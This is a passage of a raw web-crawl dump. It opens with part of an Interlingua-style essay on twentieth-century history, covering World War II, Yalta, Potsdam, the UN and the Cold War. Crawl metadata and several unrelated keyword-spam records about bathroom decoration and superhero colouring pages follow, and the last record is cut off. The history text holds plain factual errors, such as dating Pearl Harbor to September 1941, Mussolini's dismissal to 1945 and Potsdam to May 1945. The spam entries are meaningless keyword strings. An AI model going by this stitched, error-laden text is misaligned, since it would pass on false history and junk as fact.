divisiones, comenció\/comenciat una altra offensiva verso Stalingrado, le centro de la industria militar sovietica, et lo occupava temporaneamente post una battalia multo sanguinaria. Ma Stalingrado deveniva un trappo pro los germanos. Circumferitos per truppas sovieticas, los germanos deberon capitular in decembre, 1943.\nLa Intervention de Japon:\nLos japoneses habevan ambitiones de controlar los ressources materiales de la \"Grande Asia Oriental\" pro disveloppar lor economia et lor industria militar. Con iste scopo, los japoneses manteneron una guerra con lores paises vicinos, specialmente, desde 1937, con China. Istos movimentos pro exploitar los paises orientales preoccupavan los Statos Unitos et las potentias europeas\/europeanas in la zona —Francia, Hollanda, et Anglaterra— las quales volevan augmentar al maximo possibile lores proprias depredationes in iste area.\nComo represalia a la politica expansionista de Japon, los Statos Unitos, Anglaterra, et Hollanda refusaron inviar a Japon su ferralia et petroleo con le scoppo de asphyxiar la economia japonesa. Ma istas actiones solamente provocavan la expansion de los effortios militares de los japoneses.\nLa potente flotta naval de los Statos Unitos se manteneva in Hawaii, et los japoneses decideron paralyzar la. Le 7 de septembre, 1941, aviones japoneses in un attacco fulmine destrueron la major parte de la flotta americana et las naves de battalia anglesas Repulse et le Prince of Wales.\nLos japoneses sapevan que los Statos Unitos et Anglaterra declararean la guerra contra illes a causa de istas actiones, ma illes eran confidentes que los Statos Unitos requirerean multo tempore pro reconstruer su flotta et que los angleses esserean\/serean multo occupatos con los germanos in Europa et non poterean retaliar multo tosto. Intertanto, los japoneses usavan lor superioritate naval pro occupar Hong Kong, Singapur, Birmania, Indonesia, Malasia, Thailand, et numerosas insulas del Pacifico Central.\nLa Responsa de los Statos Unitos:\nComo in la Prima Guerra Mundial, los Statos Unitos conservaron una attitude favorabile verso Francia et Britannia, inviante\/inviando a illas mercantias et material de guerra protegitas pro fortias navales americanas.\nBen que la opinion publica statounitese generalmente era contra la participation de los Statos Unitos in la guerra, le attacco japonese contra la marina de Guerra americana in Hawaii incholerizó\/incholerizat quasi omne la population americana, et le Congresso de los Statos Unitos rapidamente daron a Roosevelt la declaration de guerra contra le axe germano\/japonese\/italiano que ille voleva.\nGermania beneficiava bastante de la participation de los japoneses in la guerra perque los russos debevan divider una parte significante de lores fortias militares pro defender se contra los japoneses. Hitler habeva promittito que si los Statos Unitos declaravan la guerra contra Japon, ille declararea la guerra contra los Statos Unitos, et quatro dies post le attaco japonese in Hawaii, ille lo fació\/facit.\nLa Guerra contra Japon:\nImmediatamente post istas declarationes de guerra, los Statos Unitos non potevan participar multo activamente perque los americanos non habevan ni le personal militar ni le material de guerra pro luctar multo fortemente. Ma in 1943, a causa de la tremenda capacitate industrial et demographica de los Statos Unitos, los americanos jam habevan una fortia militar potentissima.\nSex menses post le attacco japonese contra Pearl Harbor in Hawaii, los Statos Unitos comenciaron lor guerra contra Japon ma reservavan la major parte de sus ressources militares pro la guerra contra Germania. Nonobstante las battalias contra los japoneses fueron multo duras desde le primo momento pro et los japoneses et los americanos, et los Statos Unitos necessitaron sex menses (de augusto, 1942, a februario, 1943) pro conquerir la insula Guadalcanal. In februario, 1945, los americanos occuparon Iwo Jima et in april, Okinawa.\nPost la defaite de Germania, los Statos Unitos fortificaron lor campania contra Japon. Pro evitar la necessitate de una invasion que costarea multas vitas americanas, los Statos Unitos lassavan cader sur Hiroshima la prima bomba atomica usata in una guerra. Tres dies postea, los americanos destruevan Nagasaki con una altra bomba atomica, destruente\/destruendo quasi completamente ambas citates. Le 2 de septembre, Japon capitulava a los Statos Unitos sin conditiones.\nLa Guerra contra Germania:\nLe 8 et 9 de novembre, 1942, los Statos Unitos comenciaron con los angleses lor prima operation contra Germania in le nord de Africa sub la direction del general americano Eisenhower. Le general Montgomery commandava las fortias de Anglaterra. Le 13 de maio, 1943, las armeas\/armatas germana et italiana de Africa capitularon ante las fortias angloamericanas.\nIn julio, 1943, Eisenhower et Montgomery comenciaron la invasion de Italia con la invasion de Sicilia. Illes conquerieron le sud de Italia sin grandes difficultates ma incontraron una resistentia potente germana in Montecassino et in los Appeninos. Le 28 de april, 1945, los americanos et los angleses controlavan omne Italia, ma los effectos de ista victoria non fueron multo significantes perque los germanos non habevan dedicato multos ressources militares a la defensa de Italia.\nLe 25 de augusto, 1945, le rege italiano dimitteva Mussolini. Ma con la adjuta de la SS nazi, ille escappó\/escappat a Salo, un parvo village in le nord de Italia, et declaró\/declarat una nova republica italiana. Post la defaite decisiva de los Germanos in Italia, Mussolini fació\/facit una tentativa desperata pro escappar a Suitza, ma la resistentia fascista italiana le capturó\/capturat et le fusiló\/fusilat.\nLa Invasion de Normandia:\nAnte invader Normandia, los angleses et los franceses se prepararon multo intensivamente. In una tentativa de diminuer la resistentia de los germanos, illes habevan propagato information falsa a los germanos indicante\/indicando que lor intention era de invader Francia per Calais, sperante\/sperando que los germanos concentrarean lores fortias militares circum Calais ante la invasion de los alliatos per Normandia.\nFinalmente, le 6 de junio, 1944, post un periodo longo de preparation attentissima, los angleses et americanos, sub le commando del general Eisenhower, comenciaron lor invasion de Normandia. Pro ista invasion illes habevan assemblato una machina militar potentissima —includente\/includendo tanks amphibios armatos designatos specialmente pro ista operation militar, pontes artificiales, 3,5 milliones de homines, 1.200 naves de guerra, 13.000 aviones, 4.000 lanchas de assalto, et 1.600 naves de mercantia.\nIn ista operation, los angleses et americanos perderon solamente 2.500 soldatos, una ciffra multo bassa pro una operation tan\/tanto grande. La defaite proxima et final de los germanos era assecurata per le successo de la invasion de Normandia, per una secunda invasion in le sud de Francia comenciata pauco tempore postea, et specialmente per un assalto forte et continuo per los russos in le est.\nIn augusto, las truppas alliatas, inter las quales il habeva unas unitates francesas, liberaron Paris. Le general De Gaulle, in multos aspectos le symbolo de la resistentia francesa contra Hitler, deveniva la prima capite de stato francese post la guerra.\nLa grande offensiva sovietica (que habeva comenciato le 12 de januario, 1945) habeva occupato le est de Germania durante la invasion de Francia per los angleses, americanos, et franceses, et le 2 de maio, duos dies post le suicidio de Hitler, los russos occuparon Berlin. Le 7 de maio los germanos capitulavan inconditionalmente in Francia a Rheims.\nLa Conferentia de Yalta:\nDurante la guerra, los angleses, americanos, et russos habevan conferito diversas vices pro organizar una strategia commun pro continuar la guerra et organizar la pace. Unos paucos menses ante le fin de la guerra (in februario, 1945) le presidente americano, Franklin Roosevelt; le chef del stato sovietico, Josef Stalin; et le primo ministro britannico, Winston Churchill, se reunivan in Yalta (in la peninsula de Crimea in le Mar Nigro). Ista conferentia produció\/producit un manifesto recognoscente que, post la guerra, las duas potentias principales esserean\/serean los Statos Unitos et la Union Sovietica, et que Britannia esserea\/serea un pais de secundo rango.\nDurante la conferentia de Yalta tamen differentias emergeron inter los conferentes. Omnes eran de accordo que Germania esserea\/serea disarmata et dividita in zonas administratas per una de las potentias alliatas. Roosevelt et Churchill volevan dar a los franceses una zona administrativa. Stalin insisteva que los franceses non habevan contribuito bastante a la guerra pro justificar una tal zona pro los franceses. Ille voleva divider omne Germania inter los russos, los americanos, et los angleses, augmentante\/augmentando lor influentia (specialmente la influentia russa) sur le futuro de Germania.\nLe puncto le plus conflictivo de la conferentia fuó\/fuit le futuro de Polonia. Le problema politico veniva de la existentia de los duos governamentos poloneses, uno in London, que habeva representato su pais symbolicamente durante la guerra, et un governamento de facto establito per los russos quando illes habevan expellito los germanos ex Polonia.\nAl fin de la conferentia, Stalin potió\/potit preservar le governamento que ille habeva formato in Polonia ma con representation del governamento in exilio de London. Secundo le accordo final, iste governamento mixto deciderea la forma final de un governamento democratico pro Polonia, le qual cederea unos territorios orientales a la Union Sovietica contra la compensation de territorios occidentales ceditos per Germania.\nLa Conferentia de Potsdam:\nIn maio, 1945, post la defaite de Germania, los dirigentes politicos de los Statos Unitos, Britannia, et Russia habevan una secunda reunion in Potsdam, presso Berlin. Como Franklin Roosevelt habeva morito\/morto, le presidente Harry S. Truman representava los Statos Unitos. Clement Atlee, cujo partito laborista habeva formato un novo governamento in Anglaterra, representava los angleses, et Stalin representava Russia.\nLa conferentia de Potsdam creó\/creat una commission de ministros de affaires internationales de los paises que habevan vincito Germania. Ista commission determinarea las conditiones de pace con los paises que appoiaron Hitler. (On non considerava que Austria era uno de istos paises perque durante la guerra Austria formava un solo pais con Germania). Atlee, Truman, et Stalin generalmente eran de accordo sur conditiones de pace pro Italia, Hungria, Romania, Finlandia, et Bulgaria, ma illes decideron lassar que lores diplomatos negotiassen los detalios —un processo que resultava in los Tractatos de Paris de 1947.\nMulto plus difficile fuó\/fuit le problema de Germania. Nonobstante, Attlee, Truman, et Stalin eran de accordo sur la necessitate de su demilitarization, sur la inauguration de un programma intenso de denazification et de democratization, sur un judicio formal de los criminales de guerra (pro le qual on formó\/format un tribunal special in Nuremberg), et sur la regulation de la population germana, inter altras cosas.\nIlles establivan las quatro zonas dividentes Germania sub las administrationes de la Union Sovietica, de los Statos Unitos, de Anglaterra, et de Francia. Berlin, que era in la zona sovietica, esserea\/serea governata sub la direction conjuncta de los russos, angleses, franceses, et americanos. Assi los alliatos initiaron le processo de formar duos Germanias, la republica popular del est et la republica federal del west.\nLe problema de las frontieras orientales germanas con Polonia et Russia creava problemas plus difficiles, et Stalin, Truman, et Atlee non poteron arrivar a una solution definita. Ma illes arrivaron a un accordo providente que los territorios germanos al est de los fluvios Oder et Niesse esserean\/serean administratos provisionalmente per Polonia. Los alliatos promitteron a Stalin que ille reciperea Königsberg (postea Kalingrado) in la costa baltica et una parte de la Prussia oriental.\nLos alliatos protestaron que in Polonia Russia habeva establito un governamento communista, provocante\/provocando una responsa de los Russos que Anglaterra non habeva le derecto de intervenir contra los communistas in la guerra civil que habeva comenciato in Grecia (1944-1949).\nFinalmente, la Union Sovietica promitteva declarar la guerra contra Japon, ben que Truman habeva conquerito Japon post lassar cader bombas atomicas sur Hiroshima et Nagasaki. Ma las actiones militares de los russos in le oriente permitteva que illes recuperassen lores territorios perditos a Japon in la guerra russo-japonesa de 1905. Los russos anque potevan plantar lores fortias militares in qualques insulas japonesas.\nLos Tractatos de Paris:\nIn februario, 1947, quasi duos annos post la conclusion de la guerra, los victores de la Secunda Guerra Mundial signaron una serie de tractatos. Ecce lores effectos principales: Finlandia perdió\/perdit Carelia. Italia fuó\/fuit obligata a pagar reparationes de guerra et perdeva Trieste, que deveniva una entitate politica independente. Hungria retornava a sus frontieras de 1937. Romania debió\/debit ceder a la Union Sovietica Besarabia et Bukovina. Bulgaria acceptó\/acceptat la existentia de Trieste como un stato libere. Japon fuó\/fuit demilitarizato et obligato a acceptar un governamento militar administrato per le general american Douglas MacArthur, et le imperator japonese devenió\/devenit un monarcha constitutional.\nIn 1955 Austria signava un tractato con los americanos, los russos, los angleses, et los franceses que terminava la occupation de los alliatos contra firmes guarantias austriacas de neutralitate.\nNOTAS SUR LA HISTORIA DEL SECULO XX\nParte 9\nLa Nova Era Post 1945:\nLa Secunda Guerra Mundial habeva producito profundas transformationes technicas, sociales, et politicas trans omne le mundo. La competition inter los adversarios de la guerra habeva accelerato le disveloppamento de la technologia in cerca de armas plus destructivas.\nLa necessitate de usar aviones pro projectar destruction militar per bombas accelerava le disveloppamento de aviones plus grandes, veloces, et efficientes, includente\/includendo aviones a jecto, que stimulavan la inauguration de systemas de transporte aereo extensivo et efficiente.\nLa guerra anque stimulava le disveloppamento de computatores pro rapidamente facer calculationes ballisticas, pro exemplo, et pro punctar cannones et similes armas automaticamente. Istas necessitates militares fortemente stimulavan recercas in la cybernetica et la eventual construction de robots pro uso in processos industriales.\nQuando los horrores de los campos de concentration de los Nazis se revelavan completamente al mundo, la humanitate anque perdeva su confidentia in su superioritate moral. La destruction de Hiroshima et Nagasaki in Japon establiva que le disveloppamento de la technologia —que usque la Prima Guerra Mundial symbolizava le progresso de la civilization et de la perfectibilitate rational de la humanitate— revelava que la specie humana eran animales facilemente capabiles de destruction diabolica qui, con su nova technologia, mesmo poterea destruer omne sus civilizationes et una grande parte de la vita sur nostro planeta.\nLa politica international anque habeva cambiato drasticamente. Si la Prime et Secunda Guerras Mundiales fueron causatas per interesses et ambitiones nationalistas, post 1945 la unitate politica la plus importante deveniva blocos de diversos typos.\nCorporationes transnationales emergeron que potevan construer lores fabricas in paises ubi los impostos et las expensas de labor eran las plus bassas, et in la prosecution de lores interesses illas tosto poteron construer lores proprios systemas de alliantias et mesmo defiar la soveranitate de los diversos paises in los quales illas conducevan lores activitates.\nAl fin del seculo XX emergeva un coherente systema de communication electronico international instantaneo que comenciava la erosion de culturas locales et nationales, et la humanitate totavia non sape si on potera controlar la evolution accelerante de la nova technologia aut si illo habera su proprio momento que controlara la futura evolution de la humanitate.\nLos Annos immediatamente post la Secunda Guerra Mundial:\nComo los russos et los americanos emergeron como los victores principales de la Secunda Guerra Mundial, illes comenciaron un processo de competition mutuo post la guerra pro controlar lor accesso a los ressources naturales del planeta.\nIsta competition includeva la captura et controlo de statos clientes, et ambos paises habevan lores proprias ideologias que illes usavan pro mantener lores proprias populationes in ignorantia de los veros scopos de lores politicas, que, directamente exponitas\/expostas, involverean la justification del furto et de la tortura.\nMa mesmo istos paises non volevan vider una repetition de la destruction de la Prima et Secunda Guerras Mundiales, et con un pauco de difficultate illos cooperavan in la formation de una altra Societate de Nationes. In 1945 in una conferentia in San Francisco, California, la major parte de los paises independentes del mundo signavan la Charta que establiva la Organization de las Nationes Unitas (ONU), que esserea\/serea basata sur istos principios:\n(1) Equalitate soverana de omnes los membros de la organization;\n(2) La solution de conflictos internationales per medios pacificos;\n(3) La prohibition de intervention in los affaires interiores de cata stato;\n(4) La pression sur los statos que non se habevan affiliato a la ONU con le fin de preservar la pace et la securitate international;\n(5) La refusa de appoio de paises formalmente sanctionatos per los membros de la ONU;\n(6) La obligation de preservar los principos de la Charta per los membros de la ONU.\nLa ONU sperava que illa poterea evitar los fiascos de la Societate de Nationes per\n(1) Fomentar inter omnes las nationes relationes de amicitate;\n(2) Complir la cooperation international in problemas supernationales de character economico, social, cultural, aut humanitario;\n(3) Establir le respecto a los directos et libertates fundamentales de omne la population humana;\n(4) Servir como un centro que harmonizarea omnes effortios pro complir los anteriores scopos communes.\nBen que su gestion pacificante ha prendito multiples formas, generalmente la ONU non ha potito resolver los grandes conflictos internationales de la secunda medietate del seculo XX pro le manco de sus proprias fortias militares que poterean supprimer las fortias nationales de sus membros, et sus programmas de pacification han debito limitar se principalmente a scopos informativos et persuasivos.\nLa prohibition de intervention in los affaires interiores de sus membros anque ha habito un effecto paralyzante sur multas decisiones importantes de la ONU. Las superpotentias anque poten poner lor veto a resolutiones de la ONU que van contra lores interesses nationales, et iste mechanismo permitte que illas possan supprimer los interesses de los plus parvos et minus potentes membros de la ONU.\nLa ONU non poteva prevenir que los Statos Unitos et la Union Sovietica comenciassen una guerra frigida characterizata per tension crescente que poteva resultar facilemente in una nova guerra atomica. Los duos paises comenciaron un programma de construction de arsenales de bombatores et bombas de fission atomica que plus tarde devenirean missiles et bombas de fusion con capacitates explosivas que poterean annihilar la major parte de la vita sur la terra. Istos duos arsenales eran quasi equales in lores capacitates de destruction et producevan un equilibrio de terror inter ambas potentias.\nLos Statos Unitos et la Union Sovietica con lores alliatos produceron un mundo dividito in duos blocos. Le bloco occidental consisteva de los Statos Unitos et los paises circumferentes le oceano Atlantico (la America del Nord et la Europa occidental). Le bloco oriental, geographicamente plus unificato, consisteva de la Europa oriental et de la Union Sovietica.\nAmbos blocos eran similares in extension et in population, ma le bloco oriental habeva una population un pauco plus grande. Los Statos Unitos et la Union Sovietica anque devenieronn las potentias economicas las plus grandes. Usque 1950, la taxa de production de los Statos Unitos era 75% de la production mundial.\nIn 1947 le presidente statounitese, Harry S. Truman, inauguró\/inaugurat la Doctrina Truman, que consisteva de appoio in forma de creditos monetarios et militares a los governamentos que combattesen le communismo.\nLe Secretario de Stato americano, George C. Marshall, elaboró\/elaborat un programma de \"adjuta fraternal\" in la Conferentia de Paris de 1947. Secundo iste programma, los Statos Unitos fornirean le capital necesse pro reconstruer la infrastructura economica que los paises de la Europa occidental habevan perdito durante la Secunda Guerra Mundial.\nAl fin de iste programa, los Statos Unitos habevan pagato unos 13.000.000.000 de dollars a los principales beneficiarios del programma: Anglaterra, Francia, Italia, et Germania. Le scopo del Plan Marshall era fortificar istos paises de maniera que illos non cadessen in la orbita sovietica.\nLa Union Sovietica respondió\/respondit creante\/creando le Kominform (Bureau de Information Communista), que integrava los paises sub su influentia. La division inter los duos grandes blocos deveniva plus radical, et una \"Cortina de Ferro\", secundo la expression de Winston Churchill, impediva la sperantia de un accordo pacifico inter los duos blocos.\nLos Statos Unitos tunc establivan le Tractato del Atlantico Norte (OTAN), una alliantia militar que integrava omnes los paises del occidente europeo\/europeano. Los russos respondevan con le Pacto de Varsovia, que organizava de una maniera simile los paises que illes controlavan.\nVerso 1956 ista crisis entró\/entrat a in un perido de relaxation initiato per le dirigente russo Nikita Khrushchev (1953-1964), qui recognosceva que un certo compromisso era necesse con le bloco occidental pro reducer la possibilitate recognoscita per omnes como una vera menacia a la vita de omne la humanitate.\nLa politica de coexistentia pacifica inaugurata per Khrushchev non eliminava omnes conflictos inter los duos blocos. La Union Sovietica erigeva in Berlin un muro in 1961 pro separar physicamente las Germanias oriental et occidental. Los Statos Unitos reimplaciavan Francia in la guerra contra Vietnam.\nIn Cuba los sovieticos instalaron bases de missiles, que quasi provocaron una guerra atomica con los Statos Unitos. Khrushchev cedeva ante las demandas del presidente americano, John F. Kennedy. Le prestigio in la Union Sovietica de Khrushchev tunc diminueva et la potentia de sus rivales politicos cresceva, causante\/causando eventualmente su demission.\nDurante istos annos, los Statos Unitos et la Union Sovietica vigilavan mutuamente lores capacitates bellicas, evitante\/evitando que nulle de los duos colossos ganiasse un avantage militar sur le altro. In 1952 los Statos Unitos construeron la prima bomba de fusion nuclear (de hydrogeno a helio), et un anno postea los russos construeron lor propria bomba H.\nLos Statos Unitos et la Union Sovietica tunc inauguraron programas pro construer satellites, submarinos atomicos, et missiles con multiples capites nucleares in un effortio continuo pro assecurar mesmo plus fortemente su mutua capabilitate de annihilation total in caso de guerra.\nLos angleses, los franceses, et los chineses anque construeron un arsenal de armas nucleares, ma istos paises non disponevan de los ressources economicos pro equalar los arsenales americanos et sovieticos.\nMulta gente in los Statos Unitos et la Union Sovietica comprenderon que una guerra inter illos resultarea in un cambio ecologico gigantesco sur le planeta que probabilemente significarea la extinction de la racia humana. Illes comenciavan una campania pro limitar lores arsenales nucleares que eventualmente produceva resultatos modestos post le Tractato de Moscova de 1963 et altros in Geneva, Helsinki, et Vienna. La modestia de istos resultatos se debeva a la carentia de confidentia mutua inter los duos paises et lor violation frequente de accordos anteriores.\nInter 1950 et 1970 los blocos dirigitos per los Statos Unitos et la Union Sovietica comenciaron perder lor homogeneitate. Le processo era lento, et illo non era multo obvio ante la secunda parte de la decada inter 1960 et 1970.\nIn le mundo occidental, Francia incoragiava una Europa Unita et firmava un tractato con Germania, su traditional adversario in la guerra, pro comenciar iste processo de integration. Le General De Gaulle, le promotor principal de ista nova politica, ordinó\/ordinat que los Statos Unitos retirassen sus bases militares del territorio francese, accusava Britannia de esser un vassallo de los Statos Unitos, et establiva relationes diplomaticas con la China communista.\nIn 1956 Polonia et Hungria intentaron rebelliones contra la Union Sovietica, ma la armea\/armata de Russia era bastante forte pro supprimer las. Las politicas de los governamentos communistas de Albania et China devenieron fundamentalmente differentes de illas de la Union Sovietica. In 1968 Chechoslovachia anque fomentó\/fomentat una rebellion contra la Union Sovietica. Pro impedir lo, la armea\/armata sovietica debió\/debit invader Praga con tanks.\nIn 1990 occurrió\/occurrit una profunda transformation politica in le est de Europa. La fortia del communismo de los majores paises de la Europa oriental collabevan bastante rapidamente, et istos paises inauguraron governamentos democraticos multipardistas. Germania se reunificava.\nMikhail Gorbachev, recognoscente\/recognoscendo que la economia de la Union Sovietica non poteva continuar la competition de armas con los Statos Unitos, la abandonava. Ille anque essayava restructurar le systema politico de la Union Sovietica et inauguró\/inaugurat una politica de libertate de expression (glasnost), que resultava in la disintegration del imperio Sovietico et la inauguration de una confederation inter las previas republicas sovieticas, comenciante\/comenciando una nova epocha in la historia del mundo.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/romanica.wikia.com\/wiki\/Notas_sur_la_historia_del_seculo_XX","date":"2017-04-25T04:33:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120101.11\/warc\/CC-MAIN-20170423031200-00315-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.9789316058,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.9789316058158875}","num_words":25006,"character_repetition_ratio":0.06,"word_repetition_ratio":0.002,"special_characters_ratio":0.177,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":1657.2,"cluster_detection":-1} +{"text":"Idee Deco De Salle De Bain id e d co salle de bain hipster, idee deco salle de bain maison moderne, idee de salle de bain petit espace deco maison moderne, id e d coration salle de bain maison de famille, id e d co salle de bain moderne, id e moderne d co petite salle de bain deco maison moderne, deco salle de bain moderne with classique toilettes, salle de bain id es d co portes milette doors,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/adwordsadsbuzz.website\/idee-deco-de-salle-de-bain.html","date":"2018-05-21T01:23:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863901.24\/warc\/CC-MAIN-20180521004325-20180521024325-00393.warc.gz","language":"ina","language_score":0.6035884023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6035884022712708, \"sco_Latn_score\": 0.10013236105442047, \"glg_Latn_score\": 0.057473134249448776, \"fra_Latn_score\": 0.03916706144809723, \"pfl_Latn_score\": 0.037661727517843246, \"pan_Latn_score\": 0.032816022634506226, \"gul_Latn_score\": 0.020177343860268593, \"lim_Latn_score\": 0.016999147832393646, \"wes_Latn_score\": 0.0137143200263381}","num_words":123,"character_repetition_ratio":0.214,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.195,"flagged_words_ratio":0.0,"lang_id_score":0.646,"perplexity_score":2725.7,"cluster_detection":-1} +{"text":"Idees De Salle De Bain idee pose carrelage salle de bain id es d co salle de bain, salle de bain rustique 46 id es inspirations photos, r novation salle bains id es conseils plans pour, id e d co salle de bain moderne, 33 id es pour petite salle de bain avec astuces pratiques, id es salle de bain avec douche design, idee disposition carrelage salle de bain id es d co, idee deco salle de bain beige,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/aast.us\/idees-de-salle-de-bain.html","date":"2018-05-20T12:02:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863410.22\/warc\/CC-MAIN-20180520112233-20180520132233-00065.warc.gz","language":"ina","language_score":0.4193288982,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.419328898191452, \"fra_Latn_score\": 0.3281530737876892, \"pfl_Latn_score\": 0.07536358386278152, \"sco_Latn_score\": 0.025762228295207024, \"lim_Latn_score\": 0.025476844981312752, \"nrm_Latn_score\": 0.024962512776255608, \"pan_Latn_score\": 0.01126017514616251}","num_words":132,"character_repetition_ratio":0.184,"word_repetition_ratio":0.049,"special_characters_ratio":0.224,"stopwords_ratio":0.227,"flagged_words_ratio":0.0,"lang_id_score":0.499,"perplexity_score":3102.2,"cluster_detection":-1} +{"text":"Idee Deco Salle De Bain Moderne salle de bain moderne photos et id es d co de salles de bain, idee carrelage salle de bain moderne, best idee deco salle de bain moderne gallery awesome, salle de bain moderne idee deco ideeco, salle de bain moderne photo 1 2 salle de bain moderne, id e de salle de bain moderne yf16 jornalagora, id e d co salle de bain bleu et blanc id es de, mille id es d am nagement salle de bain en photos,","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/aast.us\/idee-deco-salle-de-bain-moderne.html","date":"2018-05-25T14:58:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867094.5\/warc\/CC-MAIN-20180525141236-20180525161236-00393.warc.gz","language":"ina","language_score":0.7054764628,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7054764628410339, \"pfl_Latn_score\": 0.10644588619470596, \"lim_Latn_score\": 0.024844884872436523, \"fra_Latn_score\": 0.022815249860286713, \"pan_Latn_score\": 0.02224152535200119, \"nrm_Latn_score\": 0.018922418355941772, \"sco_Latn_score\": 0.017221512272953987, \"gul_Latn_score\": 0.01248959731310606}","num_words":129,"character_repetition_ratio":0.275,"word_repetition_ratio":0.017,"special_characters_ratio":0.227,"stopwords_ratio":0.217,"flagged_words_ratio":0.0,"lang_id_score":0.767,"perplexity_score":3590.0,"cluster_detection":-1} +{"text":"Dessin De Super Heros\ndessin de super heros coloriage femme animac 171 dessins hacros a imprimer colorier superheroes.\ndessin de super heros.\ndessin de super heros coloriage lego avengers coloring pages a imprimer.\ndessin de super heros x man wolverine coloring pages xman pinterest coloriage a imprimer iron marvel.\ndessin de super heros croquis dironman a imprimer.\ndessin de super heros coloriage hero heroes invente.\ndessin de super heros coloriage a imprimer hacros gratuit.\ndessin de super heros coloriage heroes invente.\ndessin de super heros coloriage hacro a imprimer colorier superheroes.\ndessin de super heros coloriage hero marvel beau photo les beaux dessins a imprimer.\ndessin de super heros animac hacros squad.\ndessin de super heros coloriage a colorier.\ndessin de super heros coloriage hacros en couleur gratuit a imprimer squad marvel les beaux dessins colorier.\ndessin de super heros coloriage hacros femme.\ndessin de super heros animac hero coloriage hacros 125 dessins a imprimer et fille.\ndessin de super heros coloriage colorier superheros h ros en ligne 171 dessins femme.\ndessin de super heros coloriage a imprimer gratuit hacros marvel artistique facile.\ndessin de super heros coloriage hero fille.\ndessin de super heros coloriage hero facile a dessiner.\ndessin de super heros 17 dessins coloriage hacros gratuit a imprimer voir le hero marvel.\ndessin de super heros coloriage batman hero lego cap logo a colorier imprimer.\ndessin de super heros coloriage a imprimer masque hero fille idaces cracatives pinterest heroes invente.\ndessin de super heros hacros animac disney coloriage 125 dessins a imprimer et dessiner un hero facile.\ndessin de super heros awesome coloring pages lego superheroes pictures triamtereneus imaginaire.\ndessin de super heros animac canard hacros fille a imprimer.\ndessin de super heros coloriage hacros 111 femme.\ndessin de super heros facile.\ndessin de super heros facile a dessiner coloriage colorier superheroes.\ndessin de super heros coloriage superman et son ennemi filles hero fille.\ndessin de super heros animac famille hacros a imprimer gratuit.\ndessin de super heros coloriage lego 2 a imprimer.\ndessin de super heros coloriage batman hero hacros gratuit cp25074 femme.\ndessin de super heros cute hero fille.\ndessin de super heros coloriage batman hero pages a colorier voir le.","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/shutterology.pro\/dessin-de-super-heros\/","date":"2018-12-19T15:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376832559.95\/warc\/CC-MAIN-20181219151124-20181219173124-00181.warc.gz","language":"ina","language_score":0.3503080606,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35030806064605713, \"sco_Latn_score\": 0.29356998205184937, \"fra_Latn_score\": 0.09577316790819168, \"nov_Latn_score\": 0.07333578169345856, \"eng_Latn_score\": 0.026290548965334892, \"dag_Latn_score\": 0.0226959940046072, \"ile_Latn_score\": 0.02210204489529133, \"lat_Latn_score\": 0.016406230628490448, \"frp_Latn_score\": 0.012295160442590714, \"gmh_Latn_score\": 0.012250484898686409}","num_words":688,"character_repetition_ratio":0.351,"word_repetition_ratio":0.149,"special_characters_ratio":0.18,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":0.35,"perplexity_score":4215.6,"cluster_detection":-1} +{"text":"deco salle de bain moderne photo la ie co morne contemporary amazing ies deco salle de bain moderne douche du52.\ndeco salle de bain moderne chic 2017 s morne douche,deco salle de bain moderne douche morne contemporary amazing decoration petite marron,idee decoration salle de bain moderne deco chic s,deco salle de bain moderne 2016 perfect my blog idee decoration petite,deco salle de bain moderne 2016 idee noir et blanc mornes morne,deco salle de bain moderne douche decoration 2017 photos,decoration salle de bain moderne 2017 idee deco faience morne photo photos,decoration salle de bain moderne marron deco douche id e d morne photos 2017,decoration salle de bain moderne 2017 morne deco noir et blanc douche,deco salle de bain moderne 2016 chic decoration 2017 personable morne sign for.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-photo-la-ie-co-morne-contemporary-amazing-ies-deco-salle-de-bain-moderne-douche-du52\/","date":"2019-03-26T18:17:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205600.75\/warc\/CC-MAIN-20190326180238-20190326202238-00426.warc.gz","language":"ina","language_score":0.3055918515,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3055918514728546, \"fra_Latn_score\": 0.20176240801811218, \"sco_Latn_score\": 0.06471238285303116, \"eng_Latn_score\": 0.04998071491718292, \"enm_Latn_score\": 0.03043379634618759, \"rmq_Latn_score\": 0.02553636208176613, \"ile_Latn_score\": 0.023710381239652634, \"nrm_Latn_score\": 0.020740695297718048, \"mwl_Latn_score\": 0.01917584426701069, \"dag_Latn_score\": 0.01619025319814682, \"glg_Latn_score\": 0.01603180728852749, \"hif_Latn_score\": 0.015036779455840588, \"eus_Latn_score\": 0.011375736445188522, \"knc_Latn_score\": 0.01089391577988863, \"gmh_Latn_score\": 